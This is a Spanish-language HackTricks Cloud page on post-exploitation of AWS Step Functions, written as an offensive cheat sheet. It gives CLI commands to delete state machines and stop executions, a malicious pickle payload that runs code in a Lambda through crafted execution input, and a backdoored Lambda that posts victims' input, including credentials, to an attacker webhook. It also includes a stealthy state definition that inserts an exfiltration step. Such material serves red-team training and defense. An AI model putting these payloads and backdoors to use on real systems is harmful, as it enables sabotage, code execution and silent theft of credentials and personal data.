AWS - Step Functions Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Step Functions
Para más información sobre este servicio de AWS, consulta:
states:RevealSecrets
Este permiso permite revelar datos secretos dentro de una ejecución. Para ello, es necesario establecer el Inspection level a TRACE y el parámetro revealSecrets a true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Un atacante con estos permisos podría eliminar permanentemente state machines, sus versions y aliases. Esto puede interrumpir flujos de trabajo críticos, provocar pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las state machines afectadas. Además, permitiría al atacante borrar las huellas utilizadas, obstaculizar las investigaciones forenses y, potencialmente, paralizar las operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
Note
- Al eliminar una state machine también se eliminan todas sus versions y aliases asociadas.
- Al eliminar un state machine alias no se eliminan las state machine versions que referencian este alias.
- No es posible eliminar una state machine version que esté actualmente referenciada por una o más aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impacto potencial: Interrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
states:UpdateMapRun
Un atacante con este permiso podría manipular la configuración de fallo de Map Run y el ajuste de paralelismo, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidas, afectando directamente al rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallos tolerados, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el Map Run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impacto potencial: Degradación del rendimiento e interrupción de flujos de trabajo críticos.
states:StopExecution
Un atacante con este permiso podría detener la ejecución de cualquier state machine, interrumpiendo los flujos de trabajo y procesos en curso. Esto podría provocar transacciones incompletas, la paralización de operaciones comerciales y posible corrupción de datos.
Warning
Esta acción no es compatible con express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impacto potencial: Interrupción de los flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
states:TagResource, states:UntagResource
Un atacante podría añadir, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Impacto potencial: Interrupción de la asignación de costos, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
states:StartExecution -> Inyección de entrada en sinks peligrosos
states:StartExecution es un punto de entrada del plano de datos. Si una máquina de estados reenvía entrada controlada por el atacante a una tarea que contiene un sink peligroso (por ejemplo una Lambda que hace pickle.loads(base64.b64decode(payload_b64))), a veces puedes convertir StartExecution en ejecución de código y exfiltración de secretos a través de la salida de la ejecución, sin ningún permiso para actualizar la máquina de estados.
Descubrir el flujo de trabajo y la Lambda invocada
Si tienes states:List* / states:Describe*, puedes enumerar y leer la definición de la máquina de estados:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Si también tienes lambda:GetFunction, puedes descargar el bundle de código de Lambda para entender cómo se procesa la entrada (y confirmar si existe deserialización insegura):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Ejemplo: pickle manipulado en la entrada de ejecución (Python)
Si la Lambda unpickles datos controlados por el atacante, un pickle malicioso puede ejecutar código durante la deserialización. Ejemplo de payload que evalúa una expresión de Python en el runtime de Lambda:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impacto: Cualquier permiso que tenga el rol de tarea (lecturas de Secrets Manager, escrituras en S3, descifrado con KMS, etc.) puede volverse accesible mediante una entrada manipulada, y el resultado puede devolverse en la salida de ejecución de Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Un atacante que comprometa a un usuario o rol con los siguientes permisos:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…puede llevar a cabo un ataque de post-exploitation de alto impacto y sigiloso combinando Lambda backdooring con la manipulación de la lógica de Step Function.
Este escenario asume que la víctima usa AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles, como credenciales, tokens o PII.
Ejemplo de invocación de la víctima:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
If the Step Function is configured to invoke a Lambda like LegitBusinessLogic, the attacker can proceed with two stealthy attack variants:
Actualizó la función Lambda
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (LegitBusinessLogic) para silenciosamente exfiltrate input data.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Agregar un estado malicioso a la Step Function
Como alternativa, el attacker puede inyectar un exfiltration state al inicio del workflow actualizando la definición de la Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
El atacante puede ser aún más sigiloso al actualizar la definición de estado a algo como esto { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } donde la víctima no notará la diferencia
Configuración de la víctima (Context for Exploit)
- A Step Function (
LegitStateMachine) se usa para procesar entrada de usuario sensible. - Llama a una o más funciones Lambda como
LegitBusinessLogic.
Impacto potencial:
- Exfiltración silenciosa de datos sensibles, incluyendo secrets, credentials, API keys y PII.
- Sin errores visibles ni fallos en la ejecución del workflow.
- Difícil de detectar sin auditar el código de Lambda o las trazas de ejecución.
- Permite persistencia a largo plazo si la backdoor permanece en el código o en la lógica ASL.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

